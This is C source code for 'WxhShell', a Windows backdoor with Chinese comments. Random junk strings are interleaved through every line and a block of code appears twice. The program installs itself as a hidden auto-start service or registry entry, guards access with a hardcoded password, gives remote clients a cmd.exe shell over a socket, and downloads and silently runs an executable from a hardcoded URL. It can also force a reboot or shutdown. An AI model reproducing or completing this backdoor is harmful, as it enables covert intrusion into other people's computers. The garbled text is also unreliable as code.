jp`39 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [c`u if(NULL == hInst ) return 0; t%k1=Ow5i .,vF%pQ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M94zlW< g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3QZ~t#,7ij NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O>vbAIu 7RpAsLH= if (!NtQueryInformationProcess) return 0; 'B"A*!"b &x
mYp Q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G=VbEL^H if(!hProcess) return 0; >du _/*8: U=Hx&g if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hyn* O)q! K|a^<|
S CloseHandle(hProcess); ;:`0:Ao.
4tGP-
L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lh_Q@>k if(hProcess==NULL) return 0; C@P4}X0,= H?H(= HMODULE hMod; bP+b~!3 char procName[255]; L_~vPp unsigned long cbNeeded; ' K\ $B_ d*cAm$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gK%^}xU+
mh$ Nwr/W: CloseHandle(hProcess); ^Gt9. VV%Q "0\ if(strstr(procName,"services")) return 1; // 以服务启动 8am/5o =rL^^MZp return 0; // 注册表启动 ^#0k\f>_ } h%=>iQ%enc jmkVolz // 主模块 ~N!-4-~p int StartWxhshell(LPSTR lpCmdLine) WGC'k
s ^ { S-Z s
SOCKET wsl; K}KgCJ3 BOOL val=TRUE; ^1}Y=!& int port=0; *z3wm-z1& struct sockaddr_in door; _oU}>5 k6(9Rw8bCk if(wscfg.ws_autoins) Install(); 4UV6'X)V >cdxe3I\ port=atoi(lpCmdLine); \J?l7mG ]A.tauSW if(port<=0) port=wscfg.ws_port; ohW
qp2~ j~#nJI5] WSADATA data; YT@D*\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m1\+~*i Dpf"H if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I5$]{:L|9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ojwhcb^ door.sin_family = AF_INET; iH;IXv,b3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); =)O%5<Lwx door.sin_port = htons(port); Y5&mJp\G o)U4RY* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^ALR.N+< closesocket(wsl); 6~O9|s^38w return 1; /l.ox.4z# } x[m&ILr I}!ErV if(listen(wsl,2) == INVALID_SOCKET) { {wS)M closesocket(wsl); {zmh0c;| return 1; pI]tv@>:f } xn BL{
[] Wxhshell(wsl); O)EA2`)E WSACleanup(); Ug~]!L ,JVWn>s return 0; AzlZe\V?)~ um}%<Cy[ } Z<A BK`rEO R>#BJ^>= // 以NT服务方式启动 mu/GOEZ5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?V9Da;cj { r,FPTf
DWORD status = 0; qHtonJc DWORD specificError = 0xfffffff; Q"VS;uh.v ))xyaYIZkk serviceStatus.dwServiceType = SERVICE_WIN32; li j>u serviceStatus.dwCurrentState = SERVICE_START_PENDING; l+!eC
lM% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fk)5TPc^ serviceStatus.dwWin32ExitCode = 0; wiE'6CM serviceStatus.dwServiceSpecificExitCode = 0; DX\|*:, serviceStatus.dwCheckPoint = 0; fvH4<c5x serviceStatus.dwWaitHint = 0; \(g/::| +jifbf- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f *HEw if (hServiceStatusHandle==0) return; WA1h|:Z Rg,]du u? status = GetLastError(); s ~Xa=_+D if (status!=NO_ERROR) ,!i!q[YkL9 { 67]kT%0 serviceStatus.dwCurrentState = SERVICE_STOPPED; ;+6TZqklQ serviceStatus.dwCheckPoint = 0; KbicP< serviceStatus.dwWaitHint = 0; ,%!E-gr serviceStatus.dwWin32ExitCode = status;
,fR /C serviceStatus.dwServiceSpecificExitCode = specificError; n5e1ky*9w SetServiceStatus(hServiceStatusHandle, &serviceStatus); AJWV#J%nB return; t_\;G~O9-M } *41
2)zEy 6&qT1nF1
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z+EN]02| serviceStatus.dwCheckPoint = 0; <GRplkf` serviceStatus.dwWaitHint = 0; 8+=-!":] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QH]G>+LI5 } vXUq[,8yf K'tckJ#% // 处理NT服务事件,比如:启动、停止 Zy+EIx VOID WINAPI NTServiceHandler(DWORD fdwControl) ?VCM@{9 { 9s9_a4t5 switch(fdwControl) E|`JmfLQu { tY>_+)oi case SERVICE_CONTROL_STOP: o
/ i
W% serviceStatus.dwWin32ExitCode = 0; )/4xR] serviceStatus.dwCurrentState = SERVICE_STOPPED; 8F(Vd99I serviceStatus.dwCheckPoint = 0; >M-ZjT> serviceStatus.dwWaitHint = 0; 8RE" xJMff { Q(0eq_X|6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); N |nZf5{ } +[C><uP return; \'[C_+;X case SERVICE_CONTROL_PAUSE: 5<=ktA48[ serviceStatus.dwCurrentState = SERVICE_PAUSED; ,2*x4Gycb break; z!>
H^v case SERVICE_CONTROL_CONTINUE: Z}NMDb:t
serviceStatus.dwCurrentState = SERVICE_RUNNING; S1&Df%Ra break; vOnhJN case SERVICE_CONTROL_INTERROGATE: )Co&(;zf break; f0Zn31c^ }; \-eDNwJ:#@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); JA(M'&q4 } KvtX>3#qM PD$@.pib // 标准应用程序主函数 '3'*VcL( int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iLR^ V! { PEIf)**0N ,lUr[xzV // 获取操作系统版本 Z?AX OsIsNt=GetOsVer(); hO H
DXc" GetModuleFileName(NULL,ExeFile,MAX_PATH); v[t*CpGd Q/u1$&1 // 从命令行安装 Bq
9Eu1 if(strpbrk(lpCmdLine,"iI")) Install(); 8*\PWl E6njmdu // 下载执行文件 $Il:Yw_ if(wscfg.ws_downexe) { +GDT@,/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }p$@.+ WinExec(wscfg.ws_filenam,SW_HIDE); |o0?u: } ,LpG E>s P{tH4V23T if(!OsIsNt) { 1,pg7L8H // 如果时win9x,隐藏进程并且设置为注册表启动 tuWJj^ HideProc(); 9X%H$>s StartWxhshell(lpCmdLine); SRfnT?u6 } Vub($ else {S2?
} if(StartFromService()) KB6'sj // 以服务方式启动 o n+:{ad StartServiceCtrlDispatcher(DispatchTable); N{o3w.g else PY{])z3N // 普通方式启动 !b:;O
+[ StartWxhshell(lpCmdLine); cZd{K[fuK %g+*.8;"b return 0; jcVK4jW } N sNk
yL.Z{wd |bWvQdN
`zmjiC =========================================== RV{'[8gM -Uu65m~:{k !GL
kAV n$z+g>~N BL?Bl&p( s+RSAyU " M+ljg&fy f 3t&Bcw$ #include <stdio.h> c u:1|gt
#include <string.h> :i8B'|DN5 #include <windows.h> y/d/#}\: #include <winsock2.h> }k7t#O #include <winsvc.h> +;*dFL #include <urlmon.h> ,'0Zd(s !caY #pragma comment (lib, "Ws2_32.lib") )~CnDk}^R #pragma comment (lib, "urlmon.lib") jXCSD@?]K vD@=V#T #define MAX_USER 100 // 最大客户端连接数 L%sskV( #define BUF_SOCK 200 // sock buffer D<SLv,Y #define KEY_BUFF 255 // 输入 buffer CQGq}.Jt! z&x3":@u< #define REBOOT 0 // 重启 =FfxHo1k #define SHUTDOWN 1 // 关机 *W&}}iL t7].33%\ #define DEF_PORT 5000 // 监听端口 kl/eJN'S Z#nPn>,q #define REG_LEN 16 // 注册表键长度 [(65^Zl` #define SVC_LEN 80 // NT服务名长度 zv>3Tc0R :
#om6} // 从dll定义API 0%f}w0]: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |'?./ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F\lnG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /yhGc}h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jq8CII $MPh\T // wxhshell配置信息 KbP( ; struct WSCFG { @_
Q int ws_port; // 监听端口 +^0Q~>=VD char ws_passstr[REG_LEN]; // 口令 YrRD3P.P int ws_autoins; // 安装标记, 1=yes 0=no l%^VBv>
2 char ws_regname[REG_LEN]; // 注册表键名 0[SJ7k19 char ws_svcname[REG_LEN]; // 服务名 S.Rqu+ char ws_svcdisp[SVC_LEN]; // 服务显示名 S(nZ]QEG char ws_svcdesc[SVC_LEN]; // 服务描述信息 g4"0:^/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |)'6U3 int ws_downexe; // 下载执行标记, 1=yes 0=no dY6A)[dAH' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^S]-7>Yyr char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hnf7Q l} 4x;vn8yh }; 9]E;en NQ L
UitY // default Wxhshell configuration S, g/2k* struct WSCFG wscfg={DEF_PORT, M!Hn`_E "xuhuanlingzhe", dd=';%? 1, G,]%dZHe "Wxhshell", R qnT* "Wxhshell", p#fd+ "WxhShell Service", =!pfgE "Wrsky Windows CmdShell Service", 7=e!k-G "Please Input Your Password: ", yi-S^ 1, =:~%$5[[ "http://www.wrsky.com/wxhshell.exe", FR%u1fi "Wxhshell.exe" PRo;NE }; A"$UU6Z4 Aqp$JM
> // 消息定义模块 a9<&|L < char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :p6.v>s8 char *msg_ws_prompt="\n\r? for help\n\r#>"; bm Hl\? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +2WvGRC char *msg_ws_ext="\n\rExit."; H/Wo~$ char *msg_ws_end="\n\rQuit."; Kq. MmR!gl char *msg_ws_boot="\n\rReboot..."; mxxuD"5 char *msg_ws_poff="\n\rShutdown..."; h%0hryGB char *msg_ws_down="\n\rSave to "; D6MktE)' 6L\?+=X char *msg_ws_err="\n\rErr!"; /ZcqKC
char *msg_ws_ok="\n\rOK!"; _h7qS d
6$,N| char ExeFile[MAX_PATH]; vI)-Zz[3 int nUser = 0; )C0dN>Gb HANDLE handles[MAX_USER]; bF#1'W& int OsIsNt; IW1+^F9NEw }>|!Mf]W?R SERVICE_STATUS serviceStatus; beN(7jo SERVICE_STATUS_HANDLE hServiceStatusHandle; Q8^fgI | 5*he // 函数声明 ecjjCt2S int Install(void); 9N?BWv} int Uninstall(void); DQ a0S7I int DownloadFile(char *sURL, SOCKET wsh); l'#P:eW int Boot(int flag); {8YNmxF# void HideProc(void); <l,Kg
'v int GetOsVer(void); 2G4OK7x int Wxhshell(SOCKET wsl); <+%#xi/_ void TalkWithClient(void *cs); k-
?:0 int CmdShell(SOCKET sock); 'I tsu~fza int StartFromService(void); 6,D)o/_ int StartWxhshell(LPSTR lpCmdLine); `!t+sX-n = @UgCu>= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YH%aPsi VOID WINAPI NTServiceHandler( DWORD fdwControl ); T9,T'y>BD oK! W<# // 数据结构和表定义 zURob MpE# SERVICE_TABLE_ENTRY DispatchTable[] = 6)QJms { |KM<\v(A{ {wscfg.ws_svcname, NTServiceMain}, p?q~.YY {NULL, NULL} T{VdlgL }; E(l'\q'. ELlTR/NW // 自我安装 N=`xoF
int Install(void) /J-:?./ { g'F{;Ur char svExeFile[MAX_PATH]; b<N962 q$q HKEY key; H+VKWGmfG strcpy(svExeFile,ExeFile); < mb.F -8 #t^y$9^ // 如果是win9x系统,修改注册表设为自启动 j|N8"8" if(!OsIsNt) { z
g '1T2t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qBkI9H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tmCm54 RegCloseKey(key); ~|7jz;$V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 99<0xN(25 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m)]A$*`< RegCloseKey(key); ~BSE8M+r return 0; w=r3QKm#K } lQnl6j } )7H s } ;g0p`wV else { DKcg
\8 I>^4t'/ // 如果是NT以上系统,安装为系统服务 ?2#v`Z=L; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K1F,M9 0] if (schSCManager!=0) &?-LL{W{ { -}h+hS50F SC_HANDLE schService = CreateService vw'`t6 ( ?-"%%# schSCManager, n$ri:~s wscfg.ws_svcname, 7:Jyu/*] wscfg.ws_svcdisp, -]uN16\ F SERVICE_ALL_ACCESS, ?&H1C4
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TvEN0RV2 SERVICE_AUTO_START, Zv`j+b SERVICE_ERROR_NORMAL, +&w=*IAKZ svExeFile, q
$Hg\ {c NULL, XuQ7nlbnq NULL, |+ ^-b}0 NULL, fCA/ NULL, *=- o0 c NULL gD[Fkq$] ); E>BP b if (schService!=0) f-V8/ { D~;hIt* CloseServiceHandle(schService); 0NN{2"M$p CloseServiceHandle(schSCManager); Bhy:"
r%# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $9}z^sGIM strcat(svExeFile,wscfg.ws_svcname); P&ig.Og* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?H c~ 3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j:yQP#U RegCloseKey(key); IQZBH2R return 0; ]aqHk } Qo4+=^( } q;))3aQe CloseServiceHandle(schSCManager); jf&LSK;2 } &IQp& } $uA?c&
e )-_NtMr~`! return 1; sGf\!w } iaqhP7! \LFRu // 自我卸载 FN#6pM']| int Uninstall(void) T:$zNX<f { *3yeMxa HKEY key; Yfk){1
k~(j if(!OsIsNt) { I[~EQ{Iz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6AZJ,Q\E@ RegDeleteValue(key,wscfg.ws_regname); ]7QRelMiz+ RegCloseKey(key); B%v2)+?@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X(-e-:B4; RegDeleteValue(key,wscfg.ws_regname); Y *
#'Gh, RegCloseKey(key); kAbkhZ1^ return 0; :q V}v2 } 1_Um6vS# } TJ:B_F*bSk } OHqc,@a;+ else { \haJe~ $c-h'o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dbkkx1{>Y if (schSCManager!=0) TzXivE@mm { [<)/
c>Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )`RF2Y-A7 if (schService!=0) `"0#lZ`n { rz]0i@ehv' if(DeleteService(schService)!=0) { &^ sgR$m CloseServiceHandle(schService); >K{/ Jx& CloseServiceHandle(schSCManager); +Xi#y}% return 0; /t-m/&> } +$MNG CloseServiceHandle(schService); H61,pr> } Bi"7FF(z CloseServiceHandle(schSCManager); tylMJ$ 9*. } x%ZgLvdp, } f-9&n4=H yZ[H&> return 1; [)}F4Jsz% } DWB.dP *8 (+<SR5,/3 // 从指定url下载文件 JM5w`= int DownloadFile(char *sURL, SOCKET wsh) p @@TOS { 1 l'Wb2g>A HRESULT hr; %nJ^0X_] char seps[]= "/"; t[B\'f! char *token; aU]A#g
char *file; pYo]lO char myURL[MAX_PATH]; $_-f}E char myFILE[MAX_PATH]; G9s: Wp *rO#UE2 strcpy(myURL,sURL); UV%Al)3 token=strtok(myURL,seps); AZ)H/#be while(token!=NULL) @[0zZX2EE { @O}%sjC1 file=token; ;z;O}<8s token=strtok(NULL,seps); i,R<`K0 } Kk2PWJ7 X>w(^L*> GetCurrentDirectory(MAX_PATH,myFILE); ](3e +JC strcat(myFILE, "\\"); -LL49P6 strcat(myFILE, file); \|Pp%U [ send(wsh,myFILE,strlen(myFILE),0); (W3~r send(wsh,"...",3,0); .jRp.U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8kQ
>M if(hr==S_OK) Vx@JP93| return 0; SI=vA\e else sE$!MQb return 1; .g.v 'rJkxU{ } A4.Q\0 dxkq* // 系统电源模块 jnvi_Rodm int Boot(int flag) YC#N],# { j )6A HANDLE hToken; fu3/ n@L TOKEN_PRIVILEGES tkp; w-?_U7' dzMlfJp if(OsIsNt) { MtC \kTW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V6Kw71'9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oLEqy tkp.PrivilegeCount = 1; m72r6Yq2@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K_
P08 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qvh: hkR if(flag==REBOOT) { y^:!]-+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WpE\N0Yg return 0; bX%9'O [- } 7A|n*'[T> else { PSz|I8
c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /t`s.!k return 0; dieGLA<5_X } :R+}[|FV } Uk=jQfA*J else { N;ed_! if(flag==REBOOT) { tW;1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M=hxOta return 0; ;
F% 3b47 } nZe2bai else { /k3v\Jq{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F$P8"q+ return 0; ]6NpHDip1 } 1w}%>e-S } eO#Kn'5 6m_
fEkS[ return 1; X(Gp3lG
} :,03)[u{8 &U%AVD[ // win9x进程隐藏模块 ?s[ kUv+= void HideProc(void) ?zW4|0 { Vo^
i7 Pu dIb|V2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /?<o?IR~6 if ( hKernel != NULL ) H'E(gc)>) { $s-/![
6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VWqmqR% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .}Va~[0j FreeLibrary(hKernel); f0+)%gO{ } &GF@9BXI3 zil^^wT0J return; ;5qZQ8`4 } oUrNz#U Vvk1 D( // 获取操作系统版本 @&(0]kZ6 int GetOsVer(void) {2Jo|z { rnW(<t" OSVERSIONINFO winfo; rM/Ona2x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -0rc4<};h GetVersionEx(&winfo); &5:83#*Oj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^]}+s( return 1; 8."B else r w(EI,G return 0; aMdWT4 } g{wOq{7V 34S0W]V // 客户端句柄模块 &Z!O int Wxhshell(SOCKET wsl) yClX!OL { Q!7il<S SOCKET wsh; A)"?GK{* struct sockaddr_in client; KwO;ICdJ DWORD myID; jd]Om
r! w1tWyKq while(nUser<MAX_USER) /U\k<\1~m { s`Z|
A int nSize=sizeof(client); .!|\Y!]^r wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XS+2OutVo if(wsh==INVALID_SOCKET) return 1; 0;9X`z
J vz'/]E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XFJGL!wWm[ if(handles[nUser]==0) SB"Uu2)wZ closesocket(wsh); Zi'}qs$v else fS9TDy nUser++; `5da } <r 2$k"*: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?wM{NVt#- Fo\* Cr9D return 0; ejs_ ? } %l{0z< =^a Ngq // 关闭 socket >Pa&f20Hp void CloseIt(SOCKET wsh) IZ?+c@t { j{ QzD^t closesocket(wsh); miWog 8j nUser--; [_kis ExitThread(0); NVyel*QE } v+\&8)W= ->"Z1 // 客户端请求句柄 `^_c&y K void TalkWithClient(void *cs) 2z*EamF { #6okd*^ B?M&j SOCKET wsh=(SOCKET)cs; +%E)]*Ym char pwd[SVC_LEN]; {v3?.a$u char cmd[KEY_BUFF]; '0ks`a4q char chr[1]; hbfN1"z int i,j; Tfsx&k\ K"fr4xHq while (nUser < MAX_USER) { +UvT;" /:S&1'= if(wscfg.ws_passstr) { 3`
,u^ w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AN)exU ? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o'Rr2,lVi //ZeroMemory(pwd,KEY_BUFF); {N.JA= i=0; \3K%> while(i<SVC_LEN) { *z?Vy<u G P|U9f6^3 // 设置超时 Xg<R+o fd_set FdRead; 7bk=D~/nSg struct timeval TimeOut; N$&)gI:
FD_ZERO(&FdRead); T( LlNq FD_SET(wsh,&FdRead); u7>{#] TimeOut.tv_sec=8; k`aHG8S\ TimeOut.tv_usec=0; RX])#=Cs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PvHX#wJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #!yW)RG ;q5.\m: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gXy'@! pwd=chr[0]; rf\/Y"D if(chr[0]==0xd || chr[0]==0xa) { I
\Luw*: pwd=0; .I
h'& break; n^[VN[VC } "@s</HGo i++; :<QmG3F } a8w/#!^34 "A9qC*6[ // 如果是非法用户,关闭 socket j'IZ etT if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sa?Ul)L2 } >U7{EfUJdx 2=]Xe#5J=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ea<kc[Q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q$iGeE# tDWoQ&z2t_ while(1) { P >>VBh? UI]UxEJ ZeroMemory(cmd,KEY_BUFF); ?GT,Y5
b
fj]Q // 自动支持客户端 telnet标准 V'M#."Of/ j=0; O yG# while(j<KEY_BUFF) { *4HogC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r,8~qHbOT cmd[j]=chr[0]; ]@P!Q&V # if(chr[0]==0xa || chr[0]==0xd) { qmy3pnL cmd[j]=0; UlD]!5NO break;
I?R?rW } bnzIDsw!Q j++; !,Uzt1K: } KAI/*G\z @h
E7F} // 下载文件 Ge_Gx*R if(strstr(cmd,"http://")) { 4
Q<c I2| send(wsh,msg_ws_down,strlen(msg_ws_down),0); wAA9M4 if(DownloadFile(cmd,wsh)) is6M{K3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); JqTR4[`Z\ else Dkyw3*LCn% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ TfN*0 } 7*>(C*q= else { Cj5=UUnO @AfC$T switch(cmd[0]) { L (@".{T EC8 Fapy // 帮助 @Wl2E.)K; case '?': { =N^j:t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^&!iq K2o break; /cC4K\M } H[J5A2b // 安装 ., =\/ C< case 'i': { c2~oPUj if(Install()) [kKg?I$D@B send(wsh,msg_ws_err,strlen(msg_ws_err),0); [,TK"
else o?`^
UG- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L7"B`oa(p break; ^@f-Ni\ } ?Zh,W(7W // 卸载 XY)I ~6$Y case 'r': { ZOzwO6(_ if(Uninstall()) J`'wprSBb send(wsh,msg_ws_err,strlen(msg_ws_err),0); shuoEeoo else r"$~Gg.%( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kJNu2S break; c.{t +OR } j|w_BO 9 // 显示 wxhshell 所在路径 L
IN$Y case 'p': { h
{M=V char svExeFile[MAX_PATH]; W8N__ strcpy(svExeFile,"\n\r"); :Oh*Q(> strcat(svExeFile,ExeFile); (X/dP ~ send(wsh,svExeFile,strlen(svExeFile),0); '9tV-whw break; XJ6=Hg4_O } N?l // 重启 b~Un=-@5a case 'b': { YDjjhe+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XFi!=|F if(Boot(REBOOT)) #4Ltw,b^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); M-zqD8D else { P.W@5:sD closesocket(wsh); V2o1~R~ ExitThread(0); 58[.]f~0 } F-GrQd:O= break; %'&_Po\ } Gq =i-I // 关机 Noi+mL case 'd': { owe6ge7m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q60'5Wt if(Boot(SHUTDOWN)) 60X))MyN send(wsh,msg_ws_err,strlen(msg_ws_err),0); vC%Hc/&.} else { 2@>#?c7 closesocket(wsh); get$r5 ExitThread(0); )~C+nb '6/ } It8s#o q8 break; -`ss7j&b3 } Co^GsUJ // 获取shell 0I7 r{T case 's': { -:|t^RM;FT CmdShell(wsh); I`uOsZBO/ closesocket(wsh); _5H0<%\ ExitThread(0); UE 1tm break; !~-@p?kW/ } 4%>2>5 // 退出 v
O@7o case 'x': { CH] +S>$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _qjkiKm?1F CloseIt(wsh); ^-g-]?q break; 8^5@J)R8 } m:]60koz]o // 离开 dw3H9(-lp case 'q': { `s~[q send(wsh,msg_ws_end,strlen(msg_ws_end),0); u$
a7 closesocket(wsh); ';KZ.D WSACleanup(); !Nx'4N`&l exit(1); I`S?2i2H break; N'=b8J-fF } pe>[Ts`2F } XG8UdR| } )|`w;F> n1)~/
> // 提示信息 {8w,{p` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qU+qY2S: } vxl!`$Pi } C~c|};&% cb`ik)=K% return; A9kn\U92 } {"hyr/SK d -jcgxQH53 // shell模块句柄 FSHC\8siS int CmdShell(SOCKET sock) a
n|bzG { N6w!V]b STARTUPINFO si; i?]`9 z ZeroMemory(&si,sizeof(si)); }q=uI` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #8i9@w si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]<:qMLg PROCESS_INFORMATION ProcessInfo; _g%h:G&^ char cmdline[]="cmd"; hZUnNQ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6a4-VX5 return 0; p.x!dt\1kC } uTRFeO> 3<X*wVi)NN // 自身启动模式 4&wwmAp^ int StartFromService(void) 7qEc9S@ { df7 xpV typedef struct oWV^o8& GH { ;[! W*8.c DWORD ExitStatus; b
=R9@! DWORD PebBaseAddress; 4nU+Wj?T DWORD AffinityMask; Ht&%`\9s DWORD BasePriority; _7N^<'B ULONG UniqueProcessId; #jT=;G7f2 ULONG InheritedFromUniqueProcessId; R[f@g;h } PROCESS_BASIC_INFORMATION; 9 $Ud\ d5l].%~ PROCNTQSIP NtQueryInformationProcess; (<ngdf`, ' qN"!\ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v<V9Z
<ub static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hi#f
Qji LseS8F/q HANDLE hProcess; ]C5/-J,F PROCESS_BASIC_INFORMATION pbi; O"m(C[+[ LNI]IITx/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lJdwbuB6 if(NULL == hInst ) return 0; xF7q9'/F 1wt(pkNk g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >f-*D25f% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7|^5E*8/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A)641"[ 6i'kc3w if (!NtQueryInformationProcess) return 0; J:G~9~V^ '-vzQ d@y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <XH,kI(% if(!hProcess) return 0; u8Oo@xf0Fr 9t_N9@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BOWR}n!g `m=u2kxY CloseHandle(hProcess); 'h{| ] :{M1]0NH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "Is0:au+?} if(hProcess==NULL) return 0; 2PG= T/ ]_y0wLq HMODULE hMod; /..a9x{At> char procName[255]; TY]-L1$ unsigned long cbNeeded; ),&tF_z: 0/,Dy2h 